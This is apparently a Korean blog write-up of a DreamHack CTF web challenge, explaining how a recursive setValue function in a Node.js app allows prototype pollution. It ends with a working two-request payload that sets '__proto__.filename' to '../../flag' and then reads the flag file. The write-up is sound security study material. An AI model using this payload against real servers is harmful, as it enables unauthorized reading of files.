๊ธ€ ์ž‘์„ฑ์ž: heogi

0. Description

ํŒŒ์ผ์„ ๊ด€๋ฆฌํ•  ์ˆ˜ ์žˆ๋Š” ๊ตฌํ˜„์ด ๋œ ๋œ ํ™ˆํŽ˜์ด์ง€์ž…๋‹ˆ๋‹ค.

 

1. ํŽ˜์ด์ง€ ๊ตฌ์„ฑ

1. GET /
read๊ฐ์ฒด์˜ filename property์— fake๋ผ๋Š” ์ŠคํŠธ๋ง์„ ๋„ฃ๊ณ  ๋ฐ˜ํ™˜

2. POST /mkfile
ํŒŒ์ผ ์ƒ์„ฑ ๊ธฐ๋Šฅ, filename๊ณผ content๋ฅผ ์ž…๋ ฅ๋ฐ›์•„ __dirname/storage/ ๊ฒฝ๋กœ์— filename ๊ฐ’์„ ํ•ด์‰ฌํ•˜์—ฌ
ํ•ด์‰ฌ ์ด๋ฆ„์œผ๋กœ ํŒŒ์ผ์„ ์ƒ์„ฑํ•œ ํŒŒ์ผ ์ด๋ฆ„์„ ๋ฐ˜ํ™˜ํ•œ๋‹ค.

3. GET /readfile
filename ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๋ฐ›์„ ๊ฒฝ์šฐ __dirname/storage/ ๊ฒฝ๋กœ์—์„œ filename ์ด๋ฆ„์˜ ํŒŒ์ผ์„ ์ฝ๋Š”๋‹ค.
filename ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ ์—†์„ ๊ฒฝ์šฐ read ์˜ค๋ธŒ์ ํŠธ์˜ filename Property๋ฅผ ๊ฐ€์ ธ์˜จ๋‹ค.

4. GET /test
func, filename, rename ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๋ฐ›๋Š”๋‹ค.
func๊ฐ€ rename์ผ ๊ฒฝ์šฐ SetValue ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด file ๊ฐ์ฒด property๋ฅผ ์„ค์ •ํ•œ๋‹ค.
func๊ฐ€ reset์ผ ๊ฒฝ์šฐ read ๊ฐ์ฒด๋ฅผ ์ดˆ๊ธฐํ™”ํ•œ๋‹ค.

 

2. ๋ถ„์„

๋จผ์ € flag์˜ ์œ„์น˜๋Š” dockerfile์— /flag๋กœ ํ™•์ธ๋œ๋‹ค.

์•„๋ž˜ /readfile ์—์„œ filename์„ ํ†ตํ•ด path traversal ๊ณต๊ฒฉ์„ ์‹œ๋„ํ•ด ๋ณผ ์ˆ˜ ์žˆ์ง€๋งŒ, "."์ด ๋ชจ๋‘ ํ•„ํ„ฐ๋ง๋˜์–ด ํšจ๊ณผ๋Š” ์—†๋‹ค.

app.get('/readfile',function(req,resp){
	let filename=file[req.query.filename];
	if(filename==null){
		fs.readFile(__dirname+'/storage/'+read['filename'],'UTF-8',function(err,data){
			resp.send(data);
		})
	}else{
		read[filename]=filename.replaceAll('.','');
		fs.readFile(__dirname+'/storage/'+read[filename],'UTF-8',function(err,data){
        .
        .
        .
})

/readfile ์—์„œ filename ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ ์—†์œผ๋ฉด read object์˜ filename property ๊ฐ’์„ ์ฝ๋„๋ก ๋˜์–ด์žˆ๋‹ค.

prototype pollution์„ ์ด์šฉํ•˜๋ฉด ๊ฐ์ฒด์˜ propety๋ฅผ ๋ณ€์กฐํ•  ์ˆ˜ ์žˆ๋‹ค.

 

3. ์ทจ์•ฝ์  ํŒŒ์•… - SetValue func

์ทจ์•ฝ์ ์˜ ์›์ธ์ด ๋˜๋Š” ํ•จ์ˆ˜์ด๋‹ค.

JavaScript์˜ Prototype Pollution์ด ๋ฐœ์ƒํ•˜๋Š” ํ•จ์ˆ˜๋กœ, ๊ฐ์ฒด์˜ ์†์„ฑ์„ ์„ค์ •ํ•˜๋ฉฐ ๋‹ค๋ฅธ ๊ฐ์ฒด์˜ property ์˜ํ–ฅ์„ ์ค„ ์ˆ˜ ์žˆ๋‹ค.

Prototype Pollution์— ๋Œ€ํ•ด์„œ๋Š” ์•„๋ž˜ ๊ฒŒ์‹œ๊ธ€์„ ์ฐธ๊ณ ํ•˜์ž
https://blog.coderifleman.com/2019/07/19/prototype-pollution-attacks-in-nodejs/

function isObject(obj) {
  return obj !== null && typeof obj === 'object';
}

function setValue(obj, key, value) { 
  const keylist = key.split('.');    
  const e = keylist.shift();         
  if (keylist.length > 0) {          
    if (!isObject(obj[e])) obj[e] = {};
    setValue(obj[e], keylist.join('.'), value);
  } else {
    obj[key] = value;
    return obj;
  }
}

4. ์ทจ์•ฝ์  ํŠธ๋ฆฌ๊ฑฐ

setValue ํ•จ์ˆ˜๋Š” /test?func=rename์„ ํ†ตํ•ด ํ˜ธ์ถœ๋œ๋‹ค.

setValue(rename, "__proto__.filename", "../../flag")์œผ๋กœ ์ˆ˜ํ–‰๋˜๋ฉด ์•„๋ž˜ ์ฒ˜๋Ÿผ file ๊ฐ์ฒด์˜ [__proto__]['filename'] property๊ฐ€ ๋ถ€์—ฌ๋˜๊ณ  ์ด๋Š” read ๊ฐ์ฒด์—๋„ ์˜ํ–ฅ์„ ๋ผ์นœ๋‹ค.

 

์•„๋ž˜๋Š” setValue ํ•จ์ˆ˜๋ฅผ ์œ„์˜ ์ธ์ž๋กœ ์‹คํ–‰ํ–ˆ์„ ๊ฒฝ์šฐ์ด๋‹ค.

function isObject(obj) {
  return obj !== null && typeof obj === 'object'; //if __proto__ = false & false return false
}
// 1st
function setValue(obj, key, value) { // obj is file = {} , key = __proto__.filename, value = ../../flag
  const keylist = key.split('.');    // keylist = ["__proto__", "filename"]
  const e = keylist.shift();         // keylist will be ["filename"]
  if (keylist.length > 0) {          // True
    if (!isObject(obj[e])) obj[e] = {}; // isObject return false so if is true -- obj[__proto__] = {}
    setValue(obj[e], keylist.join('.'), value);  // obj[e] is obj[__proto__], filename, ../../flag == try again setValue function
  } else {
    obj[key] = value;
    return obj;
  }
}
// 2nd 
function setValue(obj, key, value) { // obj is obj[__proto__] , key = filename, value = ../../flag
	const keylist = key.split('.');    // keylist = ["filename"]
	const e = keylist.shift();         // e = filename
	if (keylist.length > 0) {          // True
	  if (!isObject(obj[e])) obj[e] = {}; // isObject return false so if is true -- obj[__proto__][filename] = {}
	  setValue(obj[e], keylist.join('.'), value);  // obj[e] is obj[__proto__][filename], NULL , ../../flag == try again setValue function
	} else {
	  obj[key] = value;
	  return obj;
	}
  }

// 3rd 
function setValue(obj, key, value) { // obj is obj[__proto__][filename] , key = NULL, value = ../../flag
	const keylist = key.split('.');    // keylist = NULL
	const e = keylist.shift();         // e = NULL
	if (keylist.length > 0) {          // FALSE
	  if (!isObject(obj[e])) obj[e] = {}; // Not Execute
	  setValue(obj[e], keylist.join('.'), value);  // Not Execute
	} else {
	  obj[key] = value;                // file[__proto__][filename] = "../../flag"
	  return obj;                      // return file[__proto__][filename] = "../../flag"
	}
  }

setValue๋ฅผ ํ†ตํ•ด read ๊ฐ์ฒด์˜ filename property๊ฐ€ ๋ณ€์กฐ๋˜๋ฉด, /readfile ๊ฒฝ๋กœ๋กœ ์š”์ฒญ์„ ๋ณด๋‚ด read[filename]์˜ ํŒŒ์ผ์„ ๊ฐ€์ ธ์˜จ๋‹ค.

** payload **

GET /test?func=rename&filename=__proto__.filename&rename=../../flag

GET /readfile

FLAG - BISC{bob11_bisc_h4c_PR0T0LF1!!!!@#}

 

'๐Ÿ›ก๏ธCTF > DreamHack' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

rev-basic-4  (0) 2023.09.28
rev-basic-3  (0) 2023.09.19
[BOB CTF 8th] - Summer Fan  (0) 2022.09.13
Apache htaccess  (0) 2022.07.28
read_flag  (0) 2022.01.23